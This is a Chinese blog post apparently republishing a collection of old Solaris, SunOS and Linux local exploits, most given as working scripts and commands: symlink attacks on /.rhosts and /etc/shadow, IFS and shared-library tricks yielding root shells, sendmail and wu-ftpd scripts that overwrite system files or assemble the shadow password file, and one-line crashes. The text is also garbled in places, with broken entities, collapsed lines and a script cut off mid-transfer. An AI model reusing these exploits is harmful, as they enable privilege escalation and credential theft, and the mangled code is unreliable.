博客首页 注册 建议与交流 排行榜 加入友情链接
推荐 投诉 搜索: 帮助

语林网

   liuxiqin.cublog.cn
关于作者  

职业:IT
年龄:21
个性介绍:我喜欢黑夜,因为黑夜给我黑色的眼睛去寻找光明
绍:                         

我的分类  




常用漏洞
DIV>
olaris 2.5.1
一个简单的命令可以使机器当掉,只能重新启动。perl -e
'print "quot;\e[1J"quot;'。
 ICEBP
Solaris_X86_2.5.
这是一个比较小的错误,已经在Solaris-x86-2.5.上测试过,当
一个程序加载未公开命令ICEBP的时候,系统kernel将产生
“意外中断1”(Unexpected INT 1)的警告, 程序将继续运
行。在默认的系统配置下,控制台将被当掉。
以下是演示 (请放到一个 .s 的文件中):
.globl main
main:
.byte 0xf1
jmp main
lmstat (license manager)权限管理器
Solaris 2.4
要求(license manager)权限管理器必须正在运行,而且在你的进
程表中必须包含lmgrd.ste 和 suntechd。可以运行lmstat的任
何用户都可以建立/var/tmp/locksuntechd,其权限字节为666。
以下是演示:
rm /var/tmp/locksuntechd
ln -s /.rhosts /var/tmp/locksuntechd
lmstat -c
lmstat可以在你文件系统的任何地方,有时可能第一次不能达到此效果,你
可以运行第二次就可以达到。
 loadmodule
 SunOs 4.1.x
取得root权限就是这么简单1:
#!/bin/csh
set path = ( . $path )
cat "gt; ld "lt;"lt; EOF /bin/sh EOF chmod a x ld loadmodule sd.o evqload 取得root权限就是这么简单2: 蕋"gt; ~/bin/bin
#!/bin/sh
sh -i
^D
%chmod 755 ~/bin/bin
%setenv IFS /
?~/bin
%/usr/openwin/bin/loadmodule /sys/sun4c/OBJ/evqmod-sun4c.o
/etc/openwin/modules/evqload
# whoami
root
 lofs(4S)
SunOS 4.0.3 (在4.1或高版本中已经修复)
这个漏洞可以让root删除只读文件,可以造成错误的文件删除
操作。
 security logging(注册安全)
Solaris 2.6
Ruth Milner posted following. Under Solaris 2.x, login failure
information is not all logged in one place. The tty and remote
source host, if any, are written to /var/adm/messages, while
the
account name that was attempted, along with the tty but *not*
the
source host, is logged in /var/adm/loginlog *if it exists*.
/var/adm/loginlog is not created by default when the OS is
installed; it has to be touched and should be mode 600.
Solaris
2.6 does not write anything in /var/adm/loginlog even if it
does
exist.(没什么用,就是有的东东不会被记录)
 mailtool
SunOS 5.5
SunOS 5.5的mailtool比较有趣,如果你运行如下命令:
ln -s /var/mail/luser ~/.forward
然后设置vacation有效,那么/var/mail/luser就会被拷贝到
~/.forward,同时会附加"quot;|/usr/bin/vacation me"quot;,旧的symlink
被移到~/.forward..BACKUP中.
 mailx
 Solaris ?
# Send mail to the user
NEW_TARGET_LEN=$OLD_TARGET_LEN
while [ "quot;x$NEW_TARGET_LEN"quot; = "quot;x$OLD_TARGET_LEN"quot; ]; do
echo "quot;Sending mail to $TARGET"quot;

echo "quot;localhost $USER"quot; | /bin/mail $TARGET
echo "quot;localhost $USER"quot; | nice /bin/mail $TARGET

sleep 10
kill -STOP $RACE_PID
rm -f $SPOOLDIR/$TARGET "gt;/dev/null 2"gt;"amp;1
if [ -f $SPOOLDIR/$TARGET ]; then
echo "quot;$PROG: Sorry, we lost the race - cant try again."quot;
kill -9 $RACE_PID
Maybe USER="quot;whoami"quot; needed.
man
 Linux/SunOS
当用户运行man的时候,一个临时文件包含被解包的manpage
(un-zipped
manpage)就会在/tmp目录中建立. 临时文件的文件名一般是
"quot;zmanaaa"quot;,例如: "quot;zman10849aaa"quot;. 这个漏洞可以被用来进
行一个简单的symlink攻击,例如:
perl -e 'for($i=8000;$i"lt;12000;$i){`ln s /root/.rhosts /tmp/zman$aaa`;}' 接着就要等root加载man了。 mountd(8C) SunOS 4.1.1, 4.1.2, 4.1.3, and 4.1.3c. SunOS 4.1.3.u.1 不存在此漏洞 If an access list of hosts within /etc/exports is a string over 256 characters or the if the cached list of netgroups exceeds the cache capacity then the filesystem can be mounted by everyone. Unauthorized remote hosts will be able to mount the filesystem. (懒的翻了) nfsd(8) SunOS 4.0 在 SunOS 4.0 下你可以通过任何一个开放的驱动设备修改major 和minor的号码。从而超越NSF的管理。就可以随便瞎串了,以 下是演示: % ls lg /dev/null /dev/console crwxrwxrwx 1 root staff 3, 2 Sep 17 02:07 /dev/null crw--w---- 1 root wheel 0, 0 Sep 16 20:07 /dev/console % trunc /dev/null 0 % ls lg /dev/null /dev/console crwxrwxrwx 1 root staff 0, 0 Sep 17 02:07 /dev/null crw--w---- 1 root wheel 0, 0 Sep 16 20:07 /dev/console nistbladm Solaris 2.5.x 尝试过用"quot;nistbladm"quot;命令修改你的 NIS密码吗?可以修改 的,同时也可以修改你的 UID ....。 $ nistbladm e uid="quot;0"quot; '[name="quot;alice]',passwd.org_dir"quot; $ niscat passwd.org_dir | grep alice alice:xedvtAgfruijg:0:1001:........ NISSunOS 5.4, 5.4_x86 and 5.3 NISis a network-wide name service that runs under Solaris. It can be selected as the name service in /etc/nsswitch.conf. If NISis selected, programs with setuid root permissions will link nss_nisplus.so.1 which is susceptible to a buffer overflow vulnerability. This vulnerability may allow non-privileged users to gain root privileges. (我想应该不用翻译,solaris就这点好,那就是取得root权限很容易) /usr/lib/nis/nispopulate Solaris 2.5 脚本“/usr/lib/nis/nispopulate”可以在/tmp中建立属性为777 的文件,可以很容易的被用来和其他文件进行连接。 脚本主要做以下三步: 1. 建立文件 /tmp/sh[0-4] w/permission 666
2. 等待用户进入
3. 建立文件 /tmp/passwd_ w/permission 777
以下是演示用的脚本:
---------------------------- clip
--------------------------------
#!/opt/gnu/bin/perl
# nisplus-exploit.pl
#
# to test: 1) start the script 2) as root, run
/usr/lib/nispopulate
# Demonstrates weakness in Solaris 2.5
/usr/lib/nis/nispopulate
# shell script, by inserting a symlink postfixed with pid
#
# - runeb@td.org.uit.no
$destfile = "quot;/hello.world"quot;;
do {
opendir(TMP, "quot;/tmp"quot;);
while ($f = readdir(TMP)) {
if (substr($f, 0, 2) eq "quot;sh"quot;) {
symlink($destfile, "quot;/tmp/passwd_"quot; .
substr($f,2,length($f)-3));
$quit=1; last;
}
}
closedir(TMP);
sleep(1);
} while $quit == 0;
 /var permission problems
 (文件属性问题)
 Solaris 2.3, 2.4, and 2.5 , 2.5.1, 2.6 SPARC and x86
以下均是默认安装的属性,可以被加以利用:
Solaris 2.5.1:
/var/adm/vold.log (mode 666, root:root)
/var/adm/spellhist (mode 666, bin:bin)
/var/adm/messages (mode 666, root:other) NOTE: this is the
first set of permissions on this file.newsyslog fixes this
during the archive process.
/var/adm/log/asppp.log (mode 666, root:root)
/var/news (directory, mode 777, bin:bin)
/var/log/syslog (mode 666, root:other) On initial install,This
is 664, but when rolled over,becomes 666. Patch 104613 fixes
this.
/var/log/sysidconf.log (mode 777, root:other)
/var/sadm/install/.pkg.lock (mode 666, root:root)
/var/spool/lp/fifos/FIFO (mode 666, lp:lp)
/var/lp/logs/lpsched (mode 666, root:root)
/var/lp/logs/lpNet (mode 666, root:root)
/var/preserve (directory, mode 777, bin:bin)
/var/spool/pkg (directory, mode 777, bin:bin)
Solaris 2.6:
/var/adm/vold.log (mode 666, root:root)
/var/adm/spellhist (mode 666, bin:bin)
/var/log/sysidconf.log (mode 777, root:other)
/var/saf/_log (mode 666, root:root)
/var/dmi/db/1l.comp (mode 666, root:root)
/var/dmi/db/1l.tbl (mode 666, root:root)
/var/snmp/snmpdx.st (mode 666, root:root)
/var/snmp/snmpdx.st.old (mode 666, root:root)
 ping
Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6-beta2, 2.5 (x86)
简单的ping一下solaris主机,就可以使机器重新启动:
ping -sv -i 127.0.0.1 224.0.0.1
/usr/bin/ps
 Solaris 2.5.1
以下命令会造成系统总线错误:
ps -u aaaaa....aaaa(aaa要大于100个字符)
rlogin
SunOS 5.5.1, 5.5.1_x86, 5.5, 5.5_x86, 5.4, 5.4_x86, 5.3,
4.1.4,4.1.3_U1
The rlogin program establishes a remote login session. Due to
insufficient bounds checking on arguments supplied to rlogin,
it
is possible to overwrite the internal data space of the rlogin
program. As rlogin is setuid root, this vulnerability may be
exploited to gain root access.
/usr/dt/bin/sdtcm.convert
 Solaris 2.5.1
又一个简单的取得root权限的介绍:
$Id: sdtcm_convert,v 1.1 1996/07/14 17:44:54 adam Exp $
Script started on Thu Jul 11 22:15:03 1996
22:15 [wumpus:~] % whoami
adam
22:15 [wumpus:~] % ls -l /etc/shadow
-r-------- 1 root sys 291 Jul 11 22:14 /etc/shadow
22:15 [wumpus:~] % ln -s /etc/shadow /tmp/calorig.adam
22:15 [wumpus:~] % /usr/dt/bin/sdtcm_convert -d /tmp -v 3 adam
Loading the calendar ...
WARNING!! Data will be lost when converting version 4 data
format back to version 3 data format.
Do you want to continue? (Y/N) [Y] y
Doing conversion ...
Writing out new file ...
Conversion done successfully.
Total number of appointments = 0
Number of one-time appointments converted = 0
Number of repeating appointments converted = 0
Number of one-time appointments pruned = 0
Number of repeating appointments pruned = 0
The original file is saved in /tmp/calorig.adam
22:15 [wumpus:~] % ls -l /etc/shadow
-r--rw---- 1 adam daemon 3114 Jul 11 22:15 /etc/shadow
22:15 [wumpus:~] % chmod 644 /etc/shadow
22:15 [wumpus:~] % cp /dev/null /etc/shadow
cp: overwrite /etc/shadow (y/n)? y
22:15 [wumpus:~] % ls -l /etc/shadow
-rw-r--r-- 1 adam daemon 0 Jul 11 22:15 /etc/shadow
22:15 [wumpus:~] % echo "quot;root::6445::::::"quot; "gt;"gt; /etc/shadow
22:16 [wumpus:~] % su
# id
uid=0(root) gid=1(other)
# exit
sendmail(8)
SunOS 4.x Sendmail
通过sendmail取得root权限,因为sendmail可以利用-oM参数
使用任何的宏命令:
1. 建立文件sunsendmailcp
#!/bin/sh
#
# sunsendmailcp from to
if [ $# -ne 2 ]; then
echo usage: `basename $0` from to
exit 1
fi
rm -f /usr/tmp/dead.letter
if [ -f /usr/tmp/dead.letter ]; then
echo sorry, cant continue - /usr/tmp/dead.letter exists
fi
if [ ! -r $1 ]; then
echo $1 doesnt exist or is unreadable
exit 1
fi
ln -s $2 /usr/tmp/dead.letter
/usr/lib/sendmail -L0 '-oM#anything' $USER "lt;$1 rm /usr/tmp/dead.letter exit 0 2. 加载这个命令 % ./sunsendmailcp sourcefile targetfile 这时你要求的“目标文件”targetfile将会被添加或建立. sockets Solaris 2.6 任何函数建立的 Unix socket 均具有4777权限,如: srwxrwxrwx 1 root root 0 Oct 3 21:22 mysql.sock 以下是简单的演示程序: #include
#include
#include
#include
main(int argc, char *argv[])
{
struct sockaddr_un addr;
int s;
s = socket(AF_UNIX, SOCK_STREAM, 0);
bzero("amp;addr, sizeof(addr));
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "quot;/tmp/yoursocket"quot;);
if (bind(s, (struct sockaddr *)"amp;addr, sizeof(addr)) "lt;0) { perror("quot;bind"quot;); exit(1); } sleep(100); exit(0); } /usr/bin/solstice Solaris 2.5 solaris简直就是个白痴,如下演示: (对于系统产生的所有警告或者错误提示均不要理睬) /usr/bin/solstice click Launcher click Add Applications fill in any arbitary things for the fields, stick the program you want to run as setgid bin (or create a sgid shell) click on the icon which appears with your app name. X11R4 SunOS 4.1 不用介绍了,取得root权限: % mkdir /tmp/xyzzy % cd /tmp/xyzzy % cat"gt; Initialize.c "lt;"lt; EOF _XtAppInitialize() { setuid(0); execl("quot;/bin/sh"quot;,"quot;sh"quot;,0);} XtAppSetFallbackResources() {} _XtDisplayInitialize() {} EOF % ar x /usr/lib/libXt.a % cc c pic Initialize.c % ld *.o % mkdir lib lib/X % mv a.out lib/X/libXt.so.4.1 % cd lib/X % xterm # whoami root xnews SunOS 4.x running XDM and using xnews X server. 在具备以上条件的系统中你可以取得root shell,只要按照如下步骤做即 可: /usr/openwin/bin/psh /NeWS 3 0 findpackages beginpackage executive (/usr/local/bin/xterm display localhost:0) pipe This give a root shell with OpenWindows and SunOS 4.x. You have to be logged bia XDM. wu-ftpd Solaris 2.5 (and surely others) 使用以下脚本,你可以取得系统的shadow或者任意修改系统文 件: 最起码你得有一个能进入系统FTP服务器的pass。 以下脚本可以使你取得系统的shadow。 #!/bin/sh # exploit a bug in wu-ftpd to assemble "amp; view the shadow passwd file # Tested under Solaris 2.5 # James Abendschan jwa@nbs.nau.edu 16 Oct 1996 USER="quot;`whoami`"quot; /usr/ucb/echo n "quot;Enter your password for localhost: "quot; read PASS"gt;


Transfer interrupted!

R
rm -rf $WDIR
mkdir $WDIR
TMP=$WDIR/strings.tmp
ftp -n localhost "lt;"lt; _EOF_ quote user $USER quote pass $PASS cd $WDIR user root woot quote pasv _EOF_ if [ ! f $WDIR/core ] then echo "quot;Sorry, your ftpd didn't dump core."quot; exit 1 fi strings $WDIR/core"gt; $WDIR/tmp
# try to assemble as much of the shadow passwd file as
possible
# (easier in perl)
for user in `cat /etc/passwd | awk -F"quot;:"quot; '{print $1}'`
do
line=`grep \^$: $WDIR/tmp`
echo $line
done
rm -f $TMP

以下脚本可以使你任意地修改系统文件:
#!/bin/sh
# exploit a bug in wu-ftpd to create a file anywhere on the
filesystem
# - files that already exist will be overwritten, but they
won't
# be writable.
# tested under Solaris 2.5
# James Abendschan jwa@nbs.nau.edu 16 Oct 1996
if [ $# != 2 ]
then
echo "quot;usage: `basename $0` sourcefile dstfile"quot;
exit 1
fi
SRC=$1
TARGET=$2
USER=`whoami`
/usr/ucb/echo -n "quot;Enter your password for localhost: "quot;
read PASS
WDIR=/tmp/wu-ftpd-sploit.$USER
rm -rf $WDIR
mkdir $WDIR
ln -s $TARGET $WDIR/core
ftp -n localhost "lt;"lt; _EOF_ quote user $USER quote pass $PASS cd $WDIR user root woot quote pasv _EOF_ if [ ! f $WDIR/core ] then echo "quot;Sorry, your ftpd didn't dump core."quot; exit 1 fi ls l $WDIR/core cp $SRC $TARGET if [ $? !="quot;0"quot; ] then echo "quot;copy of $SRC to $TARGET failed."quot; exit 1 fi echo "quot;Done; $SRC should now be $TARGET."quot; exit 0 备注:以上两个脚本都比较好懂,你也可以手工自己做。有可 用性。   Solaris 2.5_x86 原作者:
非常简单,系统的/tmp/ lies .asppp.fifo的属性是全局可读写
的属性,就是(world r/w)的属性。如果你的系统不是这样的
话,你也可以使用命令ln -s /.rhosts /tmp/.asppp.fifo来实
现。当root执行asspppd命令的时候,/.rhosts的属性就变的和
fifo一样是可读写的,如果执行第二个asspppd命令的时候,会
发生更有趣的事情,那就是/.rhosts变成一个可读写的普通文

 发表于: 2004-05-06,修改于: 2007-09-02 10:14 已浏览918次,有评论1条 推荐 投诉

  网友评论
  一秒人 时间:2007-05-06 22:57:48 IP地址:218.6.43.★
如果有个教程就好了


  发表评论



Copyright © 2001-2006 ChinaUnix.net All Rights Reserved

感谢所有关心和支持过ChinaUnix的朋友们
页面生成时间:2.4196

京ICP证041476号